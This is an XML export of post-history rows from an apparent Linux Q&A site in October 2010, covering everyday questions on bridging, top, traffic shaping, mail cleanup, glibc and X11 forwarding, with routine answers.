in &quot;/usr/share/kde4/apps/katepart/syntax/scala.xml&quot;:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&lt;code&gt;&#xD;&#xA;&amp;lt;RegExpr attribute=&quot;Decimal&quot; context=&quot;#stay&quot; String=&quot;//#region.*$&quot; beginRegion=&quot;Region1&quot;/&amp;gt;&#xD;&#xA;&amp;lt;RegExpr attribute=&quot;Decimal&quot; context=&quot;#stay&quot; String=&quot;//#endregion.*$&quot; endRegion=&quot;Region1&quot;/&amp;gt;&#xD;&#xA;&lt;/code&gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;I've taken the idea from C# syntax definition file, cs.xml.&#xD;&#xA;The only trick is that for this comment-aided hack to work these lines are to be placed before lines which define the language's comments.&#xD;&#xA;&#xD;&#xA;And a pleasant surprise there: Kate does not depend on tons of KDE libraries as I used to suppose - in classic (Gnome) Ubuntu 10.10 &quot;apt-get install kate&quot; has only downloaded one humble (less than a MiB) package." />
  <row Id="5589" PostHistoryTypeId="2" PostId="2694" RevisionGUID="9cee17c7-5d80-4ae3-b5bd-9c774d489f83" CreationDate="2010-10-04T10:05:16.640" UserId="2141" Text="Look at [Samba][1] and [here][2] - these should cater for a lot of your requirements.&#xD;&#xA;Apache (comes standard with ubuntu) for web-server needs. If you _must_ have FTP I suggest [sftp][3]&#xD;&#xA;&#xD;&#xA;As for backups - look at [this][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.samba.org/&#xD;&#xA;  [2]: http://www.linuxheadquarters.com/howto/networking/samba.shtml&#xD;&#xA;  [3]: http://www.linux.com/archive/feature/62254&#xD;&#xA;  [4]: http://stackoverflow.com/questions/113423/good-secure-backups-developers-at-home" />
  <row Id="5590" PostHistoryTypeId="2" PostId="2695" RevisionGUID="2ec7e85b-b62f-4cf5-8dc5-caee0db96bca" CreationDate="2010-10-04T10:17:16.203" UserId="250" Text="To me, [Damn Small Linux][1] got the name for &quot;the smallest possible Linux distro&quot;! However I heard that it is kind of discontinued. You can also see a list of similar distributions (called &quot;Mini Linux&quot;) on this [wiki page][2].&#xD;&#xA;&#xD;&#xA;If space isn't your aim I'll suggest [Gentoo][3] or [Arch Linux][4], they both install a base system. You choose what to use and install packages as your needs grow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.damnsmalllinux.org/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Mini_Linux#Desktop_or_CD-distributions_with_installation_option&#xD;&#xA;  [3]: http://www.gentoo.org/&#xD;&#xA;  [4]: http://www.archlinux.org/" />
  <row Id="5591" PostHistoryTypeId="2" PostId="2696" RevisionGUID="8d487a73-8ef5-4e03-a841-8406e51ad360" CreationDate="2010-10-04T10:27:18.697" UserId="2113" Text="I have been using bridge utils previously to connect my network connected computers to a single interface on my Linux computer. The problem I'm having is when I installed a new Linux (with Slackware) the two connected computers cannot even ping each other. Basically the computers are connected as:&#xD;&#xA;&#xD;&#xA;    client - server - client&#xD;&#xA;               |&#xD;&#xA;           [Internet]&#xD;&#xA;&#xD;&#xA;So I am trying to get the two clients to connect to each other. Both can access the Internet, firewalls are shut off at both clients when testing.&#xD;&#xA;&#xD;&#xA;Internet is on eth0, and I have one bridge set up as&#xD;&#xA;&#xD;&#xA;    bridge name     interfaces&#xD;&#xA;    br0             eth1, eth2&#xD;&#xA;&#xD;&#xA;`ip addr br0` and `ip route show` shows respectively&#xD;&#xA;&#xD;&#xA;    inet 10.0.0.1/24 brd 10.0.0.255&#xD;&#xA;    10.0.0.0/24 dev br0  proto kernel  scope link  src 10.0.0.1&#xD;&#xA;&#xD;&#xA;So it seems to me like a call from my client should be routed directly to my br0 interface, which should get it right. I'm not an expert Linux user, so I'm not sure how to diagnose routing problems.&#xD;&#xA;&#xD;&#xA;My short question is therefore: How do I configure my Slackware distro to route two network cable attached computers to be able to see eachother, preferably using bridge utils?" />
  <row Id="5592" PostHistoryTypeId="1" PostId="2696" RevisionGUID="8d487a73-8ef5-4e03-a841-8406e51ad360" CreationDate="2010-10-04T10:27:18.697" UserId="2113" Text="Using bridge utils to connect two computers via Linux" />
  <row Id="5593" PostHistoryTypeId="3" PostId="2696" RevisionGUID="8d487a73-8ef5-4e03-a841-8406e51ad360" CreationDate="2010-10-04T10:27:18.697" UserId="2113" Text="élinuxàénetworkingà" />
  <row Id="5594" PostHistoryTypeId="2" PostId="2697" RevisionGUID="d3fd053c-2d26-4324-9206-ae16d6c89e7c" CreationDate="2010-10-04T10:31:02.903" UserId="912" Text="I want `top` to just give me the results when I call it and then exit. How can this be done?&#xD;&#xA;&#xD;&#xA;http://unixhelp.ed.ac.uk/CGI/man-cgi?top (manpage) does not list any flag for this purpose.&#xD;&#xA;&#xD;&#xA;Also, I do not want to use `ps -eLf` for the purpose." />
  <row Id="5595" PostHistoryTypeId="1" PostId="2697" RevisionGUID="d3fd053c-2d26-4324-9206-ae16d6c89e7c" CreationDate="2010-10-04T10:31:02.903" UserId="912" Text="How can I turn off the realtime display of unix command &quot;top&quot;?" />
  <row Id="5596" PostHistoryTypeId="3" PostId="2697" RevisionGUID="d3fd053c-2d26-4324-9206-ae16d6c89e7c" CreationDate="2010-10-04T10:31:02.903" UserId="912" Text="élinuxàéunixàétopà" />
  <row Id="5597" PostHistoryTypeId="2" PostId="2698" RevisionGUID="c218376d-18d5-40cb-ab05-56a83187ec1f" CreationDate="2010-10-04T10:37:14.683" UserId="1327" Text="From the `top` [manpage][1]:&#xD;&#xA;&#xD;&#xA;&gt;     -n : Number of iterations limit as:  -n number&#xD;&#xA;&gt;             Specifies the maximum number of iterations,&#xD;&#xA;&gt;             or frames, top should produce before ending.&#xD;&#xA;&#xD;&#xA;So just run:&#xD;&#xA;&#xD;&#xA;    top -n 1&#xD;&#xA;&#xD;&#xA;[1]:http://unixhelp.ed.ac.uk/CGI/man-cgi?top" />
  <row Id="5598" PostHistoryTypeId="2" PostId="2699" RevisionGUID="64e6789d-5b15-47b2-a0a5-fc11ce5c8074" CreationDate="2010-10-04T10:52:05.157" UserId="1941" Text="Check if ip fowarding is enabled on the server with the command&#xD;&#xA;&#xD;&#xA;    sysctl net.ipv4.ip_forward&#xD;&#xA;&#xD;&#xA;if this gives 0, do&#xD;&#xA;&#xD;&#xA;    sysctl -w net.ipv4.ip_forward=1&#xD;&#xA;&#xD;&#xA;as root on the server. If this helps, make the change permanent by editing /etc/sysctl.conf" />
  <row Id="5599" PostHistoryTypeId="5" PostId="2697" RevisionGUID="db33a6a2-8e24-424c-9ecc-71428990e18e" CreationDate="2010-10-04T10:53:07.673" UserId="1327" Comment="added 19 characters in body; edited tags" Text="I want `top` to just give me the results when I call it and then exit. How can this be done?&#xD;&#xA;&#xD;&#xA;`top`'s [manpage][1] does not list any flag for this purpose.&#xD;&#xA;&#xD;&#xA;Also, I do not want to use `ps -eLf` for the purpose.&#xD;&#xA;&#xD;&#xA; [1]:http://unixhelp.ed.ac.uk/CGI/man-cgi?top" />
  <row Id="5600" PostHistoryTypeId="6" PostId="2697" RevisionGUID="db33a6a2-8e24-424c-9ecc-71428990e18e" CreationDate="2010-10-04T10:53:07.673" UserId="1327" Comment="added 19 characters in body; edited tags" Text="étopà" />
  <row Id="5601" PostHistoryTypeId="5" PostId="2692" RevisionGUID="2f9e0e11-7cb0-416b-a814-3b0d6a995a66" CreationDate="2010-10-04T11:13:16.877" UserId="2141" Comment="made title more explanatory; fixed grammar" Text="What are the bare minimum components for a Linux OS to be functional?&#xD;&#xA;&#xD;&#xA;A base I can use to expand and improve as my understanding and needs grow?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5602" PostHistoryTypeId="4" PostId="2692" RevisionGUID="2f9e0e11-7cb0-416b-a814-3b0d6a995a66" CreationDate="2010-10-04T11:13:16.877" UserId="2141" Comment="made title more explanatory; fixed grammar" Text="What is the smallest possible Linux implementation?" />
  <row Id="5603" PostHistoryTypeId="6" PostId="2692" RevisionGUID="2f9e0e11-7cb0-416b-a814-3b0d6a995a66" CreationDate="2010-10-04T11:13:16.877" UserId="2141" Comment="made title more explanatory; fixed grammar" Text="élinuxà" />
  <row Id="5604" PostHistoryTypeId="2" PostId="2700" RevisionGUID="2ad24b62-c962-49e1-b12d-6f4427686efc" CreationDate="2010-10-04T11:20:22.210" UserId="2142" Text="I have a number of versions of gnome installed on a number of different hosts. All users have network mounted home directories. In some cases gnome works poorly when reading configuration from the .gnome2 directory. I would like to read config files from version specific directories. Is there any way to specify this when starting gnome? Environment variables perhaps? I know how to move the .gconf directories but this is not sufficient. I need to read the .gnome2 from a different path.&#xD;&#xA;" />
  <row Id="5605" PostHistoryTypeId="1" PostId="2700" RevisionGUID="2ad24b62-c962-49e1-b12d-6f4427686efc" CreationDate="2010-10-04T11:20:22.210" UserId="2142" Text="How do I read alternate gnome configuration files" />
  <row Id="5606" PostHistoryTypeId="3" PostId="2700" RevisionGUID="2ad24b62-c962-49e1-b12d-6f4427686efc" CreationDate="2010-10-04T11:20:22.210" UserId="2142" Text="élinuxàégnomeàéconfigurationà" />
  <row Id="5607" PostHistoryTypeId="2" PostId="2701" RevisionGUID="c4931c07-fd4a-4558-b757-60cab7c31f42" CreationDate="2010-10-04T11:20:25.367" UserId="1327" Text="Archlinux uses a [base][1] group of files for a very minimum install.&#xD;&#xA;&#xD;&#xA;Along with a [base-devel][2] group, if your going to be doing any system development.&#xD;&#xA;&#xD;&#xA;[1]:http://www.archlinux.org/groups/i686/base/ &#xD;&#xA;[2]:http://www.archlinux.org/groups/i686/base-devel/" />
  <row Id="5608" PostHistoryTypeId="2" PostId="2702" RevisionGUID="7135c1db-4da5-4345-9a97-ff9239839d5e" CreationDate="2010-10-04T11:34:39.850" UserId="1144" Text="If the two devices cannot ping each other it sounds like the bridge is not correctly setup. There is no ip protocol routing involved in the bridge. What is the output of *brctl show* ? That should show something like&#xD;&#xA;&#xD;&#xA;    $ brctl show&#xD;&#xA;    bridge name     bridge id               STP enabled     interfaces&#xD;&#xA;    br0             8000.003018a46079       no              eth1&#xD;&#xA;                                                            eth2&#xD;&#xA;&#xD;&#xA;If both interfaces are not listed there then that needs correcting.&#xD;&#xA;&#xD;&#xA;You may also like to try the `brctl showmacs br0` command and if STP (spanning tree protocol) was enabled above the `brctl showstp br0` command. The former should show the mac addresses of the two devices and the for the latter you should look to make sure that each port is in state *forwarding*&#xD;&#xA;&#xD;&#xA;Given that you say that each can access the internet I assume that all of the interfaces have been brought up. If not the following should do that.&#xD;&#xA;&#xD;&#xA;    ip link set br0 up&#xD;&#xA;    ip link set eth0 up&#xD;&#xA;    ip link set eth1 up&#xD;&#xA;    ip link set eth2 up&#xD;&#xA;" />
  <row Id="5609" PostHistoryTypeId="2" PostId="2703" RevisionGUID="54d6bae7-9f84-40f7-84a1-7275c143ef75" CreationDate="2010-10-04T12:55:58.500" UserId="1941" Text="Looking at the [developer documentation][1] it doesn't look as if it was possible to use other directories than the default. You could have version-dependent directories and link them to ~/.gnome2 at login, however this breaks as soon as a user is logged in at two different hosts at a time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://library.gnome.org/devel/libgnome/stable/libgnome-gnome-config.html" />
  <row Id="5610" PostHistoryTypeId="2" PostId="2704" RevisionGUID="27d52d27-b9e7-4c10-97b7-ab569fb88415" CreationDate="2010-10-04T13:00:48.533" UserId="1327" Text="On my laptop, when I run any downloads, torrents, etc, browsing is crippled.&#xD;&#xA;&#xD;&#xA;I read somewhere that you could configure your [iptables][1] powered router to prioritize certain network traffic.&#xD;&#xA;&#xD;&#xA;Could I do the same on my pc for all network traffic? I would like to prioritize packets in the following order:  &#xD;&#xA; &#xD;&#xA; 1. SSH&#xD;&#xA; 2. Gaming  &#xD;&#xA; 3. Browsing&#xD;&#xA; 4. Chat&#xD;&#xA; 5. Downloads/Torrents&#xD;&#xA;&#xD;&#xA;[1]:http://www.netfilter.org/projects/iptables/" />
  <row Id="5611" PostHistoryTypeId="1" PostId="2704" RevisionGUID="27d52d27-b9e7-4c10-97b7-ab569fb88415" CreationDate="2010-10-04T13:00:48.533" UserId="1327" Text="Shaping outgoing traffic with iptables" />
  <row Id="5612" PostHistoryTypeId="3" PostId="2704" RevisionGUID="27d52d27-b9e7-4c10-97b7-ab569fb88415" CreationDate="2010-10-04T13:00:48.533" UserId="1327" Text="énetworkingàéiptablesà" />
  <row Id="5613" PostHistoryTypeId="2" PostId="2705" RevisionGUID="8eda7b12-3c73-4147-bd09-5bd4ecdb88c2" CreationDate="2010-10-04T13:22:21.557" UserId="1078" Text="The Linux kernel has the ability to do traffic shaping / QoS which can be set up using the `tc(8)` command (not `iptables`). The full details are too much to go in to an answer here, but as a first step you may want to look at the [Linux Advanced Routing &amp; Traffic Control][1] howto.&#xD;&#xA;&#xD;&#xA;There are also a number of applications that build on the `tc` command to allow you to more easily define shaping rules such as *wondershaper* or as part of a firewall system such as *shorewall*.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lartc.org/" />
  <row Id="5614" PostHistoryTypeId="2" PostId="2706" RevisionGUID="247c7c4d-eb95-44d0-a564-11ca33dca02a" CreationDate="2010-10-04T13:55:15.793" UserId="1941" Text="If you really want just the bare minimum of what is a Linux system, you might try distributions for embedded systems like routers. They normally only carry the absolute minimum of software and the common lack of a graphical user interface forces you to become familiar with the command line. One drawback is, that often those systems break conventions of regular Linux distributions, e.g. they install software in uncommon places or use simplified init systems.&#xD;&#xA;&#xD;&#xA;If you want to give it a shot, you might try e.g. [openwrt in a virtual machine][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.openwrt.org/oldwiki/RunningKamikazeOnVMwareHowTo" />
  <row Id="5615" PostHistoryTypeId="2" PostId="2707" RevisionGUID="6d3b49be-3dac-44e6-8990-ef7bd21ec7f5" CreationDate="2010-10-04T14:11:14.443" UserId="1941" Text="The idea is to set LANG only for this application.&#xD;&#xA;&#xD;&#xA;If you start the application from the command line, write something like `alias yourapp=&quot;export LANG=ru_RU.utf8 /usr/bin/yourapp&quot;` in ~/.bashrc.&#xD;&#xA;&#xD;&#xA;If you start the application with a GUI button, you can edit the corresponding desktop file, i.e. either open ~/.gnome2/panel2.d/default/launchers/yourapp.desktop in a text editor and change the line `Exec=/usr/bin/yourapp %F` to `Exec=sh -c &quot;LANG=ru_RU.utf8 /usr/bin/foo %F&quot;`" />
  <row Id="5616" PostHistoryTypeId="2" PostId="2708" RevisionGUID="b4197b1c-795e-4aee-8b9b-076ae40118a4" CreationDate="2010-10-04T14:13:25.770" UserId="1144" Text="Is the firewall on the server disabled? It maybe that there are some firewall rules that are blocking the packets. Look at the output of iptables (must be run as root) and if you see anything other than ACCEPT rules/policies then they may be blocking things.&#xD;&#xA;&#xD;&#xA;    iptables -L&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    iptables -t nat -L&#xD;&#xA;" />
  <row Id="5617" PostHistoryTypeId="5" PostId="2692" RevisionGUID="99eff633-d77b-409f-81ee-aac3eeceaa08" CreationDate="2010-10-04T14:13:34.053" UserId="2141" Comment="added 25 characters in body; added 2 characters in body" Text="What are the bare minimum components for a Linux OS to be functional, and that I can use as a base to expand and improve as I learn Linux and my understanding and needs grow?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5618" PostHistoryTypeId="2" PostId="2709" RevisionGUID="20332323-9840-4815-8dcc-9c8cae856e29" CreationDate="2010-10-04T14:41:17.277" UserId="863" Text="If you mean learn Linux as in getting to know the source code, you may want to try [Linux from scratch](http://www.linuxfromscratch.org/lfs/)" />
  <row Id="5619" PostHistoryTypeId="2" PostId="2710" RevisionGUID="0747da35-f6ae-477c-9a47-ea1e1229428e" CreationDate="2010-10-04T14:54:45.290" UserId="532" Text="Due to some bad cron jobs I now have ~1600 mail messages, most of them containing the same error log. I would like to quickly group them by subject and delete them, while limiting the chances of missing some important message.&#xD;&#xA;&#xD;&#xA;I couldn't figure out a way to do anything using the `mail` command other than deleting each message individually. I tried installing `pine`, but it seems that even there I have to go over each message individually and hit the D key.&#xD;&#xA;&#xD;&#xA;Surely there's a way to script this. Right?&#xD;&#xA;&#xD;&#xA;I'm using ubuntu server 10.04." />
  <row Id="5620" PostHistoryTypeId="1" PostId="2710" RevisionGUID="0747da35-f6ae-477c-9a47-ea1e1229428e" CreationDate="2010-10-04T14:54:45.290" UserId="532" Text="Best way to handle lots of mail on server?" />
  <row Id="5621" PostHistoryTypeId="3" PostId="2710" RevisionGUID="0747da35-f6ae-477c-9a47-ea1e1229428e" CreationDate="2010-10-04T14:54:45.290" UserId="532" Text="éterminalàéserveràémailà" />
  <row Id="5622" PostHistoryTypeId="2" PostId="2711" RevisionGUID="875d7cd0-c83a-4109-ab76-4938a2b7014c" CreationDate="2010-10-04T14:59:25.130" UserId="1941" Text="If your mails are in a Maildir (like e.g. ~/Maildir/cur) you can just use grep and rm:&#xD;&#xA;&#xD;&#xA;    grep -l &quot;Subject: My error log message&quot; ~/Maildir/cur/* | xargs rm&#xD;&#xA;&#xD;&#xA;if instead they are in a mbox this of course doesn't work." />
  <row Id="5623" PostHistoryTypeId="2" PostId="2712" RevisionGUID="3b290b35-4a2d-45fc-8641-5205c26f14b4" CreationDate="2010-10-04T15:02:25.547" UserId="2145" Text="Mutt is really good at this.  You could tag-pattern (shift-T) on the common subject string, then tag-prefix (;) delete (d) the matching messages.&#xD;&#xA;&#xD;&#xA;[&quot;Mutt Manual, Using Tags&quot;][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mutt.org/doc/manual/manual-4.html#ss4.3 &quot;Mutt Manual, Using Tags&quot;" />
  <row Id="5624" PostHistoryTypeId="2" PostId="2713" RevisionGUID="38cc9547-023d-4141-a6ec-d9b0adb3ff55" CreationDate="2010-10-04T15:25:35.077" UserId="532" Text="I find [cygwin][1], very useful for talking to linux servers. You can use rsync, ssh, scp and all those tools for copying files back and forth. Also, you're going to start getting used to unix tools pretty soon anyway, so you'll probably want those tools on you work machine too.&#xD;&#xA;&#xD;&#xA;Some people prefer to use [putty][2], but I find cygwin+mintty+openssh to be a much nicer choice, as it works with the same concepts as the native linux tools (ssh-agent, for example).&#xD;&#xA;&#xD;&#xA;Last note, and some people may disagree with me on this, if you're going to copy files between cygwin and linux I recommend you [disable ACLs by editing `/etc/fstab`][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cygwin.com/&#xD;&#xA;  [2]: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&#xD;&#xA;  [3]: http://i-cat.blogspot.com/2010/01/cygwinnontsec-in-cygwin-17-speak.html" />
  <row Id="5625" PostHistoryTypeId="5" PostId="2601" RevisionGUID="f9ce6d6d-b390-4b83-b9eb-0c1bfd4a26e5" CreationDate="2010-10-04T15:44:10.557" UserId="2049" Comment="added 249 characters in body" Text="With my new built computer Ubuntu 10.4 lucid won't hibernate or suspend.  It's a custom built core i7 on the Gigabyte X58A-UD3R motherboard. Hibernate is enabled in the bios.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Running sudo hibernate gives:&#xD;&#xA;&#xD;&#xA;&gt; hibernate:Warning: Tuxonice binary&#xD;&#xA;&gt; signature file not found. Some modules&#xD;&#xA;&gt; failed to unload: nvidia hibernate:&#xD;&#xA;&gt; Aborting suspend due to errors in&#xD;&#xA;&gt; ModulesUnloadBlacklist (use --force to&#xD;&#xA;&gt; override).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5626" PostHistoryTypeId="2" PostId="2714" RevisionGUID="1dfb4d01-9679-4a54-b76c-96f8cdd382ea" CreationDate="2010-10-04T16:04:20.943" UserId="1974" Text="I have two Mac OS X clients, both running XQuartz 2.1.6 (xorg-server 1.4.2-apple33). When I SSH into a remote linux system enabling X1 forwarding and launch gnome-terminal, on one Mac the terminal looks correct while on the other, the fonts are all screwy!&#xD;&#xA;&#xD;&#xA;`[jnet@Stan ~]$ ssh -X jnet@kyle.local gnome-terminal` produces:&#xD;&#xA;![Lookin good!][1]&#xD;&#xA;&#xD;&#xA;`powerbook:~ hp$ ssh -X jnet@kyle.local gnome-terminal` produces:&#xD;&#xA;![OH MY GOD, MY EYES!!!!!][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem goes away on the powerbook if I zoom in twice:&#xD;&#xA;![Looks OK only because the image is scaled down to fit][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit:** This affects a number of apps, not just gnome-terminal. It also affects Tuunderbird, for example.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/VLxc5.png&#xD;&#xA;  [2]: http://i.imgur.com/0EosJ.png&#xD;&#xA;  [3]: http://i.imgur.com/ppQkx.png" />
  <row Id="5627" PostHistoryTypeId="1" PostId="2714" RevisionGUID="1dfb4d01-9679-4a54-b76c-96f8cdd382ea" CreationDate="2010-10-04T16:04:20.943" UserId="1974" Text="Why are the fonts all screwy for remote X11 apps on one Mac client?" />
  <row Id="5628" PostHistoryTypeId="3" PostId="2714" RevisionGUID="1dfb4d01-9679-4a54-b76c-96f8cdd382ea" CreationDate="2010-10-04T16:04:20.943" UserId="1974" Text="éxforwardingà" />
  <row Id="5629" PostHistoryTypeId="2" PostId="2715" RevisionGUID="a40f6b50-b16f-4bb8-85ef-008acbec6c84" CreationDate="2010-10-04T16:09:45.550" UserId="732" Text="I don't think you even want to bother piping wget's output into unzip.&#xD;&#xA;&#xD;&#xA;From the wikipedia [&quot;ZIP (file format)&quot;][1] article:&#xD;&#xA;&#xD;&#xA;&gt; A ZIP file is identified by the presence of a central directory located at the end of the file.&#xD;&#xA;&#xD;&#xA;wget has to completely finish the download before unzip can do any work, so they run sequentially, not interwoven as one might think.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/ZIP_(file_format)" />
  <row Id="5630" PostHistoryTypeId="5" PostId="2688" RevisionGUID="a8a8463d-2680-4ec8-90c7-726b3e0b1aec" CreationDate="2010-10-04T16:10:01.027" UserId="2138" Comment="added 96 characters in body" Text="While plymouth is certainly worth looking into, I use it myself, let's see if we can't actually answer this question for splashy....&#xD;&#xA;&#xD;&#xA;You need to make sure that the keyword `splash` is passed as a kernel argument at boot. This can be added at boot time or in the configuration for your bootloader (i.e. `/boot/grub/menu.lst` for grub, `/etc/lilo.conf` for lilo, or `/etc/default/grub` for grub2).&#xD;&#xA;&#xD;&#xA;You may also have to enable the framebuffer on your kernel. To do so, you need to add another parameter to the kernel arguments: `vga=791` This argument is most likely unneeded with newer kernels in Squeeze and Sid with KMS enabled.  &#xD;&#xA;&#xD;&#xA;So the line in `/boot/grub/menu.lst` might look like this:&#xD;&#xA;&#xD;&#xA;    kernel	/vmlinuz-2.6.26-2-686 root=/dev/mapper/bootdisk-root00 ro quiet vga=791 splash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Further documentation for splashy can be found here in case you run into other issues:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://splashy.alioth.debian.org/wiki/faq" />
  <row Id="5631" PostHistoryTypeId="5" PostId="2714" RevisionGUID="54d5ca43-f9ac-49e6-b371-e44709699089" CreationDate="2010-10-04T16:11:24.843" UserId="1974" Comment="edited body" Text="I have two Mac OS X clients, both running XQuartz 2.1.6 (xorg-server 1.4.2-apple33). When I SSH into a remote linux system enabling X1 forwarding and launch gnome-terminal, on one Mac the terminal looks correct while on the other, the fonts are all screwy!&#xD;&#xA;&#xD;&#xA;`[jnet@Stan ~]$ ssh -X jnet@kyle.local gnome-terminal` produces:&#xD;&#xA;![Lookin good!][1]&#xD;&#xA;&#xD;&#xA;`powerbook:~ hp$ ssh -X jnet@kyle.local gnome-terminal` produces:&#xD;&#xA;![OH MY GOD, MY EYES!!!!!][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem goes away on the powerbook if I zoom in twice:&#xD;&#xA;![Looks OK only because the image is scaled down to fit][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit:** This affects a number of apps, not just gnome-terminal. It also affects Thunderbird, for example.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/VLxc5.png&#xD;&#xA;  [2]: http://i.imgur.com/0EosJ.png&#xD;&#xA;  [3]: http://i.imgur.com/ppQkx.png" />
  <row Id="5632" PostHistoryTypeId="2" PostId="2716" RevisionGUID="856037ea-ba53-4a0e-956e-0b62c928871b" CreationDate="2010-10-04T16:18:33.497" UserId="732" Text="You could try Slackware linux.  The menu-driven install will allow you to install quite a minimum system.  You can easily leave off man pages, X11, Tcl, Emacs and that's just from the very top-level install.  You can dive into the install and only install a bare minimum of packages.&#xD;&#xA;&#xD;&#xA;After that, I'd recompile the kernel specifically for the machine you installed on.&#xD;&#xA;&#xD;&#xA;Slackware still defaults to the Lilo boot manager, so you end up knowing a bit more than you want to know about boot sectors, which partition is marked bootable, what your initrd contains, etc etc than for Grub-booted distros." />
  <row Id="5633" PostHistoryTypeId="2" PostId="2717" RevisionGUID="2f315e73-c01e-436c-b93c-3899271104e0" CreationDate="2010-10-04T17:27:38.840" UserId="2088" Text="I have a statically linked binary for a [tool][1] that I'm trying to run on RHLE4. The tool complains about glibc. It needs 2.4 and the one in the system is 2.3.&#xD;&#xA;Here is the message that it spits out:&#xD;&#xA;&#xD;&#xA;    ./wkhtmltoimage-i386: /lib/tls/libc.so.6: version `GLIBC_2.4' not found (required by ./wkhtmltoimage-i386)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there a way to build glibc2.4 and use it just for this tool, without replacing the glibc2.3 in the system ? While building glibc2.4 what prefix should I use for configure ?&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/wkhtmltopdf/" />
  <row Id="5634" PostHistoryTypeId="1" PostId="2717" RevisionGUID="2f315e73-c01e-436c-b93c-3899271104e0" CreationDate="2010-10-04T17:27:38.840" UserId="2088" Text="Running a statically linked binary with a different glibc" />
  <row Id="5635" PostHistoryTypeId="3" PostId="2717" RevisionGUID="2f315e73-c01e-436c-b93c-3899271104e0" CreationDate="2010-10-04T17:27:38.840" UserId="2088" Text="élinuxàélibrariesà" />
  <row Id="5636" PostHistoryTypeId="2" PostId="2718" RevisionGUID="8056e080-2eb9-4f7a-af45-4ecead601292" CreationDate="2010-10-04T17:49:59.897" UserId="274" Text="Since the source code for this wkhtmltoimage tool is available, I'd&#xD;&#xA;suggest you&#xD;&#xA;[recompile](http://code.google.com/p/wkhtmltopdf/wiki/compilation) it&#xD;&#xA;from source with your system's native glibc.  It will likely be even&#xD;&#xA;quicker than recompiling glibc, which is no easy task.&#xD;&#xA;&#xD;&#xA;A _statically linked_ executable already includes code for all the C&#xD;&#xA;library calls it needs to make, so you cannot separately compile a new&#xD;&#xA;glibc and link the executable to it.  However, programs using glibc&#xD;&#xA;are never completely static: some library calls (all those connected&#xD;&#xA;with the &quot;Name Service&quot;, i.e., `getuid()` and similar) still make use&#xD;&#xA;of dynamically-loaded modules (the `libnss*.so` files usually found&#xD;&#xA;under `/lib`).  This is likely why the program is failing: it is&#xD;&#xA;looking for some NSS module but can only find the `glibc2.3` ones.&#xD;&#xA;&#xD;&#xA;If you absolutely want to go down the road of recompiling glibc, the&#xD;&#xA;following could possibly work _(Warning: untested!):_&#xD;&#xA;&#xD;&#xA;1. configure glibc2.4 to install in a _non-system_ directory,&#xD;&#xA;   e.g. `/usr/local/glibc2.4`, then compile and install;&#xD;&#xA;&#xD;&#xA;2. run `wkhtmlto*` by specifying it as the first component in the&#xD;&#xA;   dynamic linker search path (`LD_LIBRARY_PATH`):&#xD;&#xA;&#xD;&#xA;       env LD_LIBRARY_PATH=/usr/local/glibc2.4/lib wkhtmltoimage ...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5637" PostHistoryTypeId="2" PostId="2719" RevisionGUID="50a83c01-4939-4442-a15a-8839b11b8197" CreationDate="2010-10-04T17:56:43.783" UserId="250" Text="Hi,&#xD;&#xA;&#xD;&#xA;I notice that, after booting from my Live USB (with Ubuntu inside) and shutdown, I won't be able to boot it again, unless I unplug the USB and plug it in again.&#xD;&#xA;&#xD;&#xA;Is this a side-effect of something, or is it intentional? I wonder what mechanism is used to do this?" />
  <row Id="5638" PostHistoryTypeId="1" PostId="2719" RevisionGUID="50a83c01-4939-4442-a15a-8839b11b8197" CreationDate="2010-10-04T17:56:43.783" UserId="250" Text="How does Ubuntu lock my Live USB?" />
  <row Id="5639" PostHistoryTypeId="3" PostId="2719" RevisionGUID="50a83c01-4939-4442-a15a-8839b11b8197" CreationDate="2010-10-04T17:56:43.783" UserId="250" Text="éubuntuàébootàéliveöusbà" />
  <row Id="5640" PostHistoryTypeId="5" PostId="2629" RevisionGUID="371b93a6-aa7d-491a-8f5c-8db0747e66ad" CreationDate="2010-10-04T17:58:32.380" UserId="274" Comment="added 645 characters in body; added 52 characters in body" Text="In short: `source /etc/bash_completion` should do the trick (run it in the shell within the SSH session).&#xD;&#xA;&#xD;&#xA;Long story: in order for bash completion to work, you have to tell `bash` how to complete each command's arguments.  This requires a long sequence of invocations of the `bash` built-in command `complete`; therefore, they are usually collected in a separate script (or several ones in `/etc/bash.complete.d/*`) that loads them all.  &#xD;&#xA;&#xD;&#xA;Being a regular shell script, you can always load the `bash_completion` in any shell [startup script](http://www.faqs.org/docs/bashman/bashref_63.html) (`~/.bash_profile`, `~/.bash_login`, `~/.bashrc`)&#xD;&#xA;&#xD;&#xA;Further reading:&#xD;&#xA;&#xD;&#xA;* section _Programmable Completion_ in the man page `bash(1)`&#xD;&#xA;* help text for the `complete` command (run: `help complete` in `bash`)" />
